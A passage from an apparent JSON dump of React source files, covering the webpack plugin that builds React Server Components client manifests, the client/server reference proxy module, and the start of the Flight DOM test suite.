    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ImportManifestEntry} from './shared/ReactFlightImportMetadata';\n\nimport {join} from 'path';\nimport {pathToFileURL} from 'url';\nimport asyncLib from 'neo-async';\nimport * as acorn from 'acorn-loose';\n\nimport ModuleDependency from 'webpack/lib/dependencies/ModuleDependency';\nimport NullDependency from 'webpack/lib/dependencies/NullDependency';\nimport Template from 'webpack/lib/Template';\nimport {\n  sources,\n  WebpackError,\n  Compilation,\n  AsyncDependenciesBlock,\n} from 'webpack';\n\nimport isArray from 'shared/isArray';\n\nclass ClientReferenceDependency extends ModuleDependency {\n  constructor(request: mixed) {\n    super(request);\n  }\n\n  get type(): string {\n    return 'client-reference';\n  }\n}\n\n// This is the module that will be used to anchor all client references to.\n// I.e. it will have all the client files as async deps from this point on.\n// We use the Flight client implementation because you can't get to these\n// without the client runtime so it's the first time in the loading sequence\n// you might want them.\nconst clientImportName = 'react-server-dom-webpack/client';\nconst clientFileName = require.resolve('../client.browser.js');\n\ntype ClientReferenceSearchPath = {\n  directory: string,\n  recursive?: boolean,\n  include: RegExp,\n  exclude?: RegExp,\n};\n\ntype ClientReferencePath = string | ClientReferenceSearchPath;\n\ntype Options = {\n  isServer: boolean,\n  clientReferences?: ClientReferencePath | $ReadOnlyArray<ClientReferencePath>,\n  chunkName?: string,\n  clientManifestFilename?: string,\n  serverConsumerManifestFilename?: string,\n};\n\nconst PLUGIN_NAME = 'React Server Plugin';\n\nexport default class ReactFlightWebpackPlugin {\n  clientReferences: $ReadOnlyArray<ClientReferencePath>;\n  chunkName: string;\n  clientManifestFilename: string;\n  serverConsumerManifestFilename: string;\n\n  constructor(options: Options) {\n    if (!options || typeof options.isServer !== 'boolean') {\n      throw new Error(\n        PLUGIN_NAME + ': You must specify the isServer option as a boolean.',\n      );\n    }\n    if (options.isServer) {\n      throw new Error('TODO: Implement the server compiler.');\n    }\n    if (!options.clientReferences) {\n      this.clientReferences = [\n        {\n          directory: '.',\n          recursive: true,\n          include: /\\.(js|ts|jsx|tsx)$/,\n        },\n      ];\n    } else if (\n      typeof options.clientReferences === 'string' ||\n      !isArray(options.clientReferences)\n    ) {\n      this.clientReferences = [(options.clientReferences: $FlowFixMe)];\n    } else {\n      // $FlowFixMe[incompatible-type] found when upgrading Flow\n      this.clientReferences = options.clientReferences;\n    }\n    if (typeof options.chunkName === 'string') {\n      this.chunkName = options.chunkName;\n      if (!/\\[(index|request)\\]/.test(this.chunkName)) {\n        this.chunkName += '[index]';\n      }\n    } else {\n      this.chunkName = 'client[index]';\n    }\n    this.clientManifestFilename =\n      options.clientManifestFilename || 'react-client-manifest.json';\n    this.serverConsumerManifestFilename =\n      options.serverConsumerManifestFilename || 'react-ssr-manifest.json';\n  }\n\n  apply(compiler: any) {\n    const _this = this;\n    let resolvedClientReferences;\n    let clientFileNameFound = false;\n\n    // Find all client files on the file system\n    compiler.hooks.beforeCompile.tapAsync(\n      PLUGIN_NAME,\n      ({contextModuleFactory}, callback) => {\n        const contextResolver = compiler.resolverFactory.get('context', {});\n        const normalResolver = compiler.resolverFactory.get('normal');\n\n        _this.resolveAllClientFiles(\n          compiler.context,\n          contextResolver,\n          normalResolver,\n          compiler.inputFileSystem,\n          contextModuleFactory,\n          function (err, resolvedClientRefs) {\n            if (err) {\n              callback(err);\n              return;\n            }\n\n            resolvedClientReferences = resolvedClientRefs;\n            callback();\n          },\n        );\n      },\n    );\n\n    compiler.hooks.thisCompilation.tap(\n      PLUGIN_NAME,\n      (compilation, {normalModuleFactory}) => {\n        compilation.dependencyFactories.set(\n          ClientReferenceDependency,\n          normalModuleFactory,\n        );\n        compilation.dependencyTemplates.set(\n          ClientReferenceDependency,\n          new NullDependency.Template(),\n        );\n\n        // $FlowFixMe[missing-local-annot]\n        const handler = parser => {\n          // We need to add all client references as dependency of something in the graph so\n          // Webpack knows which entries need to know about the relevant chunks and include the\n          // map in their runtime. The things that actually resolves the dependency is the Flight\n          // client runtime. So we add them as a dependency of the Flight client runtime.\n          // Anything that imports the runtime will be made aware of these chunks.\n          parser.hooks.program.tap(PLUGIN_NAME, () => {\n            const module = parser.state.module;\n\n            if (module.resource !== clientFileName) {\n              return;\n            }\n\n            clientFileNameFound = true;\n\n            if (resolvedClientReferences) {\n              // $FlowFixMe[incompatible-use] found when upgrading Flow\n              for (let i = 0; i < resolvedClientReferences.length; i++) {\n                // $FlowFixMe[incompatible-use] found when upgrading Flow\n                const dep = resolvedClientReferences[i];\n\n                const chunkName = _this.chunkName\n                  .replace(/\\[index\\]/g, '' + i)\n                  .replace(/\\[request\\]/g, Template.toPath(dep.userRequest));\n\n                const block = new AsyncDependenciesBlock(\n                  {\n                    name: chunkName,\n                  },\n                  null,\n                  dep.request,\n                );\n\n                block.addDependency(dep);\n                module.addBlock(block);\n              }\n            }\n          });\n        };\n\n        normalModuleFactory.hooks.parser\n          .for('javascript/auto')\n          .tap('HarmonyModulesPlugin', handler);\n\n        normalModuleFactory.hooks.parser\n          .for('javascript/esm')\n          .tap('HarmonyModulesPlugin', handler);\n\n        normalModuleFactory.hooks.parser\n          .for('javascript/dynamic')\n          .tap('HarmonyModulesPlugin', handler);\n      },\n    );\n\n    compiler.hooks.make.tap(PLUGIN_NAME, compilation => {\n      compilation.hooks.processAssets.tap(\n        {\n          name: PLUGIN_NAME,\n          stage: Compilation.PROCESS_ASSETS_STAGE_REPORT,\n        },\n        function () {\n          if (clientFileNameFound === false) {\n            compilation.warnings.push(\n              new WebpackError(\n                `Client runtime at ${clientImportName} was not found. React Server Components module map file ${_this.clientManifestFilename} was not created.`,\n              ),\n            );\n            return;\n          }\n\n          const configuredCrossOriginLoading =\n            compilation.outputOptions.crossOriginLoading;\n          const crossOriginMode =\n            typeof configuredCrossOriginLoading === 'string'\n              ? configuredCrossOriginLoading === 'use-credentials'\n                ? configuredCrossOriginLoading\n                : 'anonymous'\n              : null;\n\n          const resolvedClientFiles = new Set(\n            (resolvedClientReferences || []).map(ref => ref.request),\n          );\n\n          const clientManifest: {\n            [string]: ImportManifestEntry,\n          } = {};\n          type ServerConsumerModuleMap = {\n            [string]: {\n              [string]: {specifier: string, name: string},\n            },\n          };\n          const moduleMap: ServerConsumerModuleMap = {};\n          const ssrBundleConfig: {\n            moduleLoading: {\n              prefix: string,\n              crossOrigin: string | null,\n            },\n            moduleMap: ServerConsumerModuleMap,\n          } = {\n            moduleLoading: {\n              prefix: compilation.outputOptions.publicPath || '',\n              crossOrigin: crossOriginMode,\n            },\n            moduleMap,\n          };\n\n          // We figure out which files are always loaded by any initial chunk (entrypoint).\n          // We use this to filter out chunks that Flight will never need to load\n          const emptySet: Set<string> = new Set();\n          const runtimeChunkFiles: Set<string> = emptySet;\n          compilation.entrypoints.forEach(entrypoint => {\n            const runtimeChunk = entrypoint.getRuntimeChunk();\n            if (runtimeChunk) {\n              runtimeChunk.files.forEach(runtimeFile => {\n                runtimeChunkFiles.add(runtimeFile);\n              });\n            }\n          });\n\n          compilation.chunkGroups.forEach(function (chunkGroup) {\n            const chunks: Array<string> = [];\n            chunkGroup.chunks.forEach(function (c) {\n              // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n              for (const file of c.files) {\n                if (!(file.endsWith('.js') || file.endsWith('.mjs'))) {\n                  return;\n                }\n                if (\n                  file.endsWith('.hot-update.js') ||\n                  file.endsWith('.hot-update.mjs')\n                )\n                  return;\n                chunks.push(c.id, file);\n                break;\n              }\n            });\n\n            // $FlowFixMe[missing-local-annot]\n            function recordModule(id: $FlowFixMe, module) {\n              // TODO: Hook into deps instead of the target module.\n              // That way we know by the type of dep whether to include.\n              // It also resolves conflicts when the same module is in multiple chunks.\n              if (!resolvedClientFiles.has(module.resource)) {\n                return;\n              }\n\n              const href = pathToFileURL(module.resource).href;\n\n              if (href !== undefined) {\n                const ssrExports: {\n                  [string]: {specifier: string, name: string},\n                } = {};\n\n                clientManifest[href] = {\n                  id,\n                  chunks,\n                  name: '*',\n                };\n                ssrExports['*'] = {\n                  specifier: href,\n                  name: '*',\n                };\n\n                // TODO: If this module ends up split into multiple modules, then\n                // we should encode each the chunks needed for the specific export.\n                // When the module isn't split, it doesn't matter and we can just\n                // encode the id of the whole module. This code doesn't currently\n                // deal with module splitting so is likely broken from ESM anyway.\n                /*\n                clientManifest[href + '#'] = {\n                  id,\n                  chunks,\n                  name: '',\n                };\n                ssrExports[''] = {\n                  specifier: href,\n                  name: '',\n                };\n\n                const moduleProvidedExports = compilation.moduleGraph\n                  .getExportsInfo(module)\n                  .getProvidedExports();\n\n                if (Array.isArray(moduleProvidedExports)) {\n                  moduleProvidedExports.forEach(function (name) {\n                    clientManifest[href + '#' + name] = {\n                      id,\n                      chunks,\n                      name: name,\n                    };\n                    ssrExports[name] = {\n                      specifier: href,\n                      name: name,\n                    };\n                  });\n                }\n                */\n\n                moduleMap[id] = ssrExports;\n              }\n            }\n\n            chunkGroup.chunks.forEach(function (chunk) {\n              const chunkModules =\n                compilation.chunkGraph.getChunkModulesIterable(chunk);\n\n              Array.from(chunkModules).forEach(function (module) {\n                const moduleId = compilation.chunkGraph.getModuleId(module);\n\n                recordModule(moduleId, module);\n                // If this is a concatenation, register each child to the parent ID.\n                if (module.modules) {\n                  module.modules.forEach(concatenatedMod => {\n                    recordModule(moduleId, concatenatedMod);\n                  });\n                }\n              });\n            });\n          });\n\n          const clientOutput = JSON.stringify(clientManifest, null, 2);\n          compilation.emitAsset(\n            _this.clientManifestFilename,\n            new sources.RawSource(clientOutput, false),\n          );\n          const ssrOutput = JSON.stringify(ssrBundleConfig, null, 2);\n          compilation.emitAsset(\n            _this.serverConsumerManifestFilename,\n            new sources.RawSource(ssrOutput, false),\n          );\n        },\n      );\n    });\n  }\n\n  // This attempts to replicate the dynamic file path resolution used for other wildcard\n  // resolution in Webpack is using.\n  resolveAllClientFiles(\n    context: string,\n    contextResolver: any,\n    normalResolver: any,\n    fs: any,\n    contextModuleFactory: any,\n    callback: (\n      err: null | Error,\n      result?: $ReadOnlyArray<ClientReferenceDependency>,\n    ) => void,\n  ) {\n    function hasUseClientDirective(source: string): boolean {\n      if (source.indexOf('use client') === -1) {\n        return false;\n      }\n      let body;\n      try {\n        body = acorn.parse(source, {\n          ecmaVersion: '2024',\n          sourceType: 'module',\n        }).body;\n      } catch (x) {\n        return false;\n      }\n      for (let i = 0; i < body.length; i++) {\n        const node = body[i];\n        if (node.type !== 'ExpressionStatement' || !node.directive) {\n          break;\n        }\n        if (node.directive === 'use client') {\n          return true;\n        }\n      }\n      return false;\n    }\n\n    asyncLib.map(\n      this.clientReferences,\n      (\n        clientReferencePath: string | ClientReferenceSearchPath,\n        cb: (\n          err: null | Error,\n          result?: $ReadOnlyArray<ClientReferenceDependency>,\n        ) => void,\n      ): void => {\n        if (typeof clientReferencePath === 'string') {\n          cb(null, [new ClientReferenceDependency(clientReferencePath)]);\n          return;\n        }\n        const clientReferenceSearch: ClientReferenceSearchPath =\n          clientReferencePath;\n        contextResolver.resolve(\n          {},\n          context,\n          clientReferencePath.directory,\n          {},\n          (err, resolvedDirectory) => {\n            if (err) return cb(err);\n            const options = {\n              resource: resolvedDirectory,\n              resourceQuery: '',\n              recursive:\n                clientReferenceSearch.recursive === undefined\n                  ? true\n                  : clientReferenceSearch.recursive,\n              regExp: clientReferenceSearch.include,\n              include: undefined,\n              exclude: clientReferenceSearch.exclude,\n            };\n            contextModuleFactory.resolveDependencies(\n              fs,\n              options,\n              (err2: null | Error, deps: Array<any /*ModuleDependency*/>) => {\n                if (err2) return cb(err2);\n\n                const clientRefDeps = deps.map(dep => {\n                  // use userRequest instead of request. request always end with undefined which is wrong\n                  const request = join(resolvedDirectory, dep.userRequest);\n                  const clientRefDep = new ClientReferenceDependency(request);\n                  clientRefDep.userRequest = dep.userRequest;\n                  return clientRefDep;\n                });\n\n                asyncLib.filter(\n                  clientRefDeps,\n                  (\n                    clientRefDep: ClientReferenceDependency,\n                    filterCb: (err: null | Error, truthValue: boolean) => void,\n                  ) => {\n                    normalResolver.resolve(\n                      {},\n                      context,\n                      clientRefDep.request,\n                      {},\n                      (err3: null | Error, resolvedPath: mixed) => {\n                        if (err3 || typeof resolvedPath !== 'string') {\n                          return filterCb(null, false);\n                        }\n                        fs.readFile(\n                          resolvedPath,\n                          'utf-8',\n                          (err4: null | Error, content: string) => {\n                            if (err4 || typeof content !== 'string') {\n                              return filterCb(null, false);\n                            }\n                            const useClient = hasUseClientDirective(content);\n                            filterCb(null, useClient);\n                          },\n                        );\n                      },\n                    );\n                  },\n                  cb,\n                );\n              },\n            );\n          },\n        );\n      },\n      (\n        err: null | Error,\n        result: $ReadOnlyArray<$ReadOnlyArray<ClientReferenceDependency>>,\n      ): void => {\n        if (err) return callback(err);\n        const flat: Array<any> = [];\n        for (let i = 0; i < result.length; i++) {\n          // $FlowFixMe[method-unbinding]\n          flat.push.apply(flat, result[i]);\n        }\n        callback(null, flat);\n      },\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type ServerReference<T: Function> = T & {\n  $$typeof: symbol,\n  $$id: string,\n  $$bound: null | Array<ReactClientValue>,\n  $$location?: Error,\n};\n\n// eslint-disable-next-line no-unused-vars\nexport type ClientReference<T> = {\n  $$typeof: symbol,\n  $$id: string,\n  $$async: boolean,\n};\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function registerClientReference<T>(\n  proxyImplementation: any,\n  id: string,\n  exportName: string,\n): ClientReference<T> {\n  return registerClientReferenceImpl(\n    proxyImplementation,\n    id + '#' + exportName,\n    false,\n  );\n}\n\nfunction registerClientReferenceImpl<T>(\n  proxyImplementation: any,\n  id: string,\n  async: boolean,\n): ClientReference<T> {\n  return Object.defineProperties(proxyImplementation, {\n    $$typeof: {value: CLIENT_REFERENCE_TAG},\n    $$id: {value: id},\n    $$async: {value: async},\n  });\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: ServerReference<any>): any {\n  // $FlowFixMe[incompatible-call]\n  const newFn = FunctionBind.apply(this, arguments);\n  if (this.$$typeof === SERVER_REFERENCE_TAG) {\n    if (__DEV__) {\n      const thisBind = arguments[0];\n      if (thisBind != null) {\n        console.error(\n          'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n        );\n      }\n    }\n    const args = ArraySlice.call(arguments, 1);\n    const $$typeof = {value: SERVER_REFERENCE_TAG};\n    const $$id = {value: this.$$id};\n    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};\n    return Object.defineProperties(\n      (newFn: any),\n      (__DEV__\n        ? {\n            $$typeof,\n            $$id,\n            $$bound,\n            $$location: {\n              value: this.$$location,\n              configurable: true,\n            },\n            bind: {value: bind, configurable: true},\n          }\n        : {\n            $$typeof,\n            $$id,\n            $$bound,\n            bind: {value: bind, configurable: true},\n          }) as PropertyDescriptorMap,\n    );\n  }\n  return newFn;\n}\n\nconst serverReferenceToString = {\n  value: () => 'function () { [omitted code] }',\n  configurable: true,\n  writable: true,\n};\n\nexport function registerServerReference<T: Function>(\n  reference: T,\n  id: string,\n  exportName: null | string,\n): ServerReference<T> {\n  const $$typeof = {value: SERVER_REFERENCE_TAG};\n  const $$id = {\n    value: exportName === null ? id : id + '#' + exportName,\n    configurable: true,\n  };\n  const $$bound = {value: null, configurable: true};\n  return Object.defineProperties(\n    (reference: any),\n    __DEV__\n      ? ({\n          $$typeof,\n          $$id,\n          $$bound,\n          $$location: {\n            value: Error('react-stack-top-frame'),\n            configurable: true,\n          },\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        } as PropertyDescriptorMap)\n      : ({\n          $$typeof,\n          $$id,\n          $$bound,\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        } as PropertyDescriptorMap),\n  );\n}\n\nconst PROMISE_PROTOTYPE = Promise.prototype;\n\nconst deepProxyHandlers: Proxy$traps<mixed> = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ) {\n    switch (name) {\n      // These names are read by the Flight runtime if you end up using the exports object.\n      case '$$typeof':\n        // These names are a little too common. We should probably have a way to\n        // have the Flight runtime extract the inner target instead.\n        return target.$$typeof;\n      case '$$id':\n        return target.$$id;\n      case '$$async':\n        return target.$$async;\n      case 'name':\n        return target.name;\n      case 'displayName':\n        return undefined;\n      // We need to special case this because createElement reads it if we pass this\n      // reference.\n      case 'defaultProps':\n        return undefined;\n      // React looks for debugInfo on thenables.\n      case '_debugInfo':\n        return undefined;\n      // Avoid this attempting to be serialized.\n      case 'toJSON':\n        return undefined;\n      case Symbol.toPrimitive:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toPrimitive];\n      case Symbol.toStringTag:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toStringTag];\n      case 'Provider':\n        // Context.Provider === Context in React, so return the same reference.\n        // This allows server components to render <ClientContext.Provider>\n        // which will be serialized and executed on the client.\n        return receiver;\n      case 'then':\n        throw new Error(\n          `Cannot await or return from a thenable. ` +\n            `You cannot await a client module from a server component.`,\n        );\n    }\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const expression = String(target.name) + '.' + String(name);\n    throw new Error(\n      `Cannot access ${expression} on the server. ` +\n        'You cannot dot into a client module from a server component. ' +\n        'You can only pass the imported name through.',\n    );\n  },\n  set: function () {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nfunction getReference(target: Function, name: string | symbol): $FlowFixMe {\n  switch (name) {\n    // These names are read by the Flight runtime if you end up using the exports object.\n    case '$$typeof':\n      return target.$$typeof;\n    case '$$id':\n      return target.$$id;\n    case '$$async':\n      return target.$$async;\n    case 'name':\n      return target.name;\n    // We need to special case this because createElement reads it if we pass this\n    // reference.\n    case 'defaultProps':\n      return undefined;\n    // React looks for debugInfo on thenables.\n    case '_debugInfo':\n      return undefined;\n    // Avoid this attempting to be serialized.\n    case 'toJSON':\n      return undefined;\n    case Symbol.toPrimitive:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toPrimitive];\n    case Symbol.toStringTag:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toStringTag];\n    case '__esModule':\n      // Something is conditionally checking which export to use. We'll pretend to be\n      // an ESM compat module but then we'll check again on the client.\n      const moduleId = target.$$id;\n      target.default = registerClientReferenceImpl(\n        (function () {\n          throw new Error(\n            `Attempted to call the default export of ${moduleId} from the server ` +\n              `but it's on the client. It's not possible to invoke a client function from ` +\n              `the server, it can only be rendered as a Component or passed to props of a ` +\n              `Client Component.`,\n          );\n        }: any),\n        target.$$id + '#',\n        target.$$async,\n      );\n      return true;\n    case 'then':\n      if (target.then) {\n        // Use a cached value\n        return target.then;\n      }\n      if (!target.$$async) {\n        // If this module is expected to return a Promise (such as an AsyncModule) then\n        // we should resolve that with a client reference that unwraps the Promise on\n        // the client.\n\n        const clientReference: ClientReference<any> =\n          registerClientReferenceImpl(({}: any), target.$$id, true);\n        const proxy = new Proxy(clientReference, proxyHandlers);\n\n        // Treat this as a resolved Promise for React's use()\n        target.status = 'fulfilled';\n        target.value = proxy;\n\n        const then = (target.then = registerClientReferenceImpl(\n          (function then(resolve, reject: any) {\n            // Expose to React.\n            return Promise.resolve(resolve(proxy));\n          }: any),\n          // If this is not used as a Promise but is treated as a reference to a `.then`\n          // export then we should treat it as a reference to that name.\n          target.$$id + '#then',\n          false,\n        ));\n        return then;\n      } else {\n        // Since typeof .then === 'function' is a feature test we'd continue recursing\n        // indefinitely if we return a function. Instead, we return an object reference\n        // if we check further.\n        return undefined;\n      }\n  }\n  if (typeof name === 'symbol') {\n    throw new Error(\n      'Cannot read Symbol exports. Only named exports are supported on a client module ' +\n        'imported on the server.',\n    );\n  }\n  let cachedReference = target[name];\n  if (!cachedReference) {\n    const reference: ClientReference<any> = registerClientReferenceImpl(\n      (function () {\n        throw new Error(\n          // eslint-disable-next-line react-internal/safe-string-coercion\n          `Attempted to call ${String(name)}() from the server but ${String(\n            name,\n          )} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        );\n      }: any),\n      target.$$id + '#' + name,\n      target.$$async,\n    );\n    Object.defineProperty((reference: any), 'name', {value: name});\n    cachedReference = target[name] = new Proxy(reference, deepProxyHandlers);\n  }\n  return cachedReference;\n}\n\nconst proxyHandlers = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ): $FlowFixMe {\n    return getReference(target, name);\n  },\n  getOwnPropertyDescriptor: function (\n    target: Function,\n    name: string | symbol,\n  ): $FlowFixMe {\n    let descriptor = Object.getOwnPropertyDescriptor(target, name);\n    if (!descriptor) {\n      descriptor = {\n        value: getReference(target, name),\n        writable: false,\n        configurable: false,\n        enumerable: false,\n      };\n      Object.defineProperty(target, name, descriptor);\n    }\n    return descriptor;\n  },\n  getPrototypeOf(target: Function): Object {\n    // Pretend to be a Promise in case anyone asks.\n    return PROMISE_PROTOTYPE;\n  },\n  set: function (): empty {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nexport function createClientModuleProxy<T>(\n  moduleId: string,\n): ClientReference<T> {\n  const clientReference: ClientReference<T> = registerClientReferenceImpl(\n    ({}: any),\n    // Represents the whole Module object instead of a particular import.\n    moduleId,\n    false,\n  );\n  return new Proxy(clientReference, proxyHandlers);\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';\nimport {Readable} from 'stream';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\nlet act;\nlet serverAct;\nlet use;\nlet clientExports;\nlet clientExportsESM;\nlet clientModuleError;\nlet webpackMap;\nlet Stream;\nlet FlightReact;\nlet React;\nlet FlightReactDOM;\nlet ReactDOMClient;\nlet ReactServerDOMServer;\nlet ReactServerDOMStaticServer;\nlet ReactServerDOMClient;\nlet ReactDOMFizzServer;\nlet Suspense;\nlet ErrorBoundary;\nlet JSDOM;\nlet assertConsoleErrorDev;\n\ndescribe('ReactFlightDOM', () => {\n  beforeEach(() => {\n    // For this first reset we are going to load the dom-node version of react-server-dom-webpack/server\n    // This can be thought of as essentially being the React Server Components scope with react-server\n    // condition\n    jest.resetModules();\n\n    // Some of the tests pollute the head.\n    document.head.innerHTML = '';\n\n    JSDOM = require('jsdom').JSDOM;\n\n    patchSetImmediate();\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    FlightReact = require('react');\n    FlightReactDOM = require('react-dom');\n\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-unbundled/server.node'),\n    );\n    jest.mock('react-server-dom-webpack/static', () =>\n      require('react-server-dom-unbundled/static.node'),\n    );\n    const WebpackMock = require('./utils/WebpackMock');\n    clientExports = WebpackMock.clientExports;\n    clientExportsESM = WebpackMock.clientExportsESM;\n    clientModuleError = WebpackMock.clientModuleError;\n    webpackMap = WebpackMock.webpackMap;\n\n    ReactServerDOMServer = require('react-server-dom-webpack/server');\n    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');\n\n    // This reset is to load modules for the SSR/Browser scope.\n    jest.unmock('react-server-dom-webpack/server');\n    __unmockReact();\n    jest.resetModules();\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    Stream = require('stream');\n    React = require('react');\n    use = React.use;\n    Suspense = React.Suspense;\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server.node');\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n\n    ErrorBoundary = class extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.props.fallback(this.state.error);\n        }\n        return this.props.children;\n      }\n    };\n  });\n\n  async function readInto(\n    container: Document | HTMLElement,\n    stream: ReadableStream,\n  ) {\n    const reader = stream.getReader();\n    const decoder = new TextDecoder();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        content += decoder.decode();\n        break;\n      }\n      content += decoder.decode(value, {stream: true});\n    }\n    if (container.nodeType === 9 /* DOCUMENT */) {\n      const doc = new JSDOM(content).window.document;\n      container.documentElement.innerHTML = doc.documentElement.innerHTML;\n      while (container.documentElement.attributes.length > 0) {\n        container.documentElement.removeAttribute(\n          container.documentElement.attributes[0].name,\n        );\n      }\n      const attrs = doc.documentElement.attributes;\n      for (let i = 0; i < attrs.length; i++) {\n        container.documentElement.setAttribute(attrs[i].name, attrs[i].value);\n      }\n    } else {\n      container.innerHTML = content;\n    }\n  }\n\n  function getTestStream() {\n    const writable = new Stream.PassThrough();\n    const readable = new ReadableStream({\n      start(controller) {\n        writable.on('data', chunk => {\n          controller.enqueue(chunk);\n        });\n        writable.on('end', () => {\n          controller.close();\n        });\n      },\n    });\n    return {\n      readable,\n      writable,\n    };\n  }\n\n  function createUnclosingStream(\n    stream: ReadableStream<Uint8Array>,\n  ): ReadableStream<Uint8Array> {\n    const reader = stream.getReader();\n\n    const s = new ReadableStream({\n      async pull(controller) {\n        const {done, value} = await reader.read();\n        if (!done) {\n          controller.enqueue(value);\n        }\n      },\n    });\n\n    return s;\n  }\n\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  function getMeaningfulChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          // some tags are ambiguous and might be hidden because they look like non-meaningful children\n          // so we have a global override where if this data attribute is included we also include the node\n          node.hasAttribute('data-meaningful') ||\n          (node.tagName === 'SCRIPT' &&\n            node.hasAttribute('src') &&\n            node.hasAttribute('async')) ||\n          (node.tagName !== 'SCRIPT' &&\n            node.tagName !== 'TEMPLATE' &&\n            node.tagName !== 'template' &&\n            !node.hasAttribute('hidden') &&\n            !node.hasAttribute('aria-hidden') &&\n            // Ignore the render blocking expect\n            (node.getAttribute('rel') !== 'expect' ||\n              node.getAttribute('blocking') !== 'render'))\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getMeaningfulChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('should resolve HTML using Node streams', async () => {\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n\n    function App() {\n      const model = {\n        html: <HTML />,\n      };\n      return model;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n    const model = await response;\n    expect(model).toEqual({\n      html: (\n        <div>\n          <span>hello</span>\n          <span>world</span>\n        </div>\n      ),\n    });\n  });\n\n  it('should resolve the root', async () => {\n    // Model\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n    function RootModel() {\n      return {\n        html: <HTML />,\n      };\n    }\n\n    // View\n    function Message({response}) {\n      return <section>{use(response).html}</section>;\n    }\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Message response={response} />\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<RootModel />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe(\n      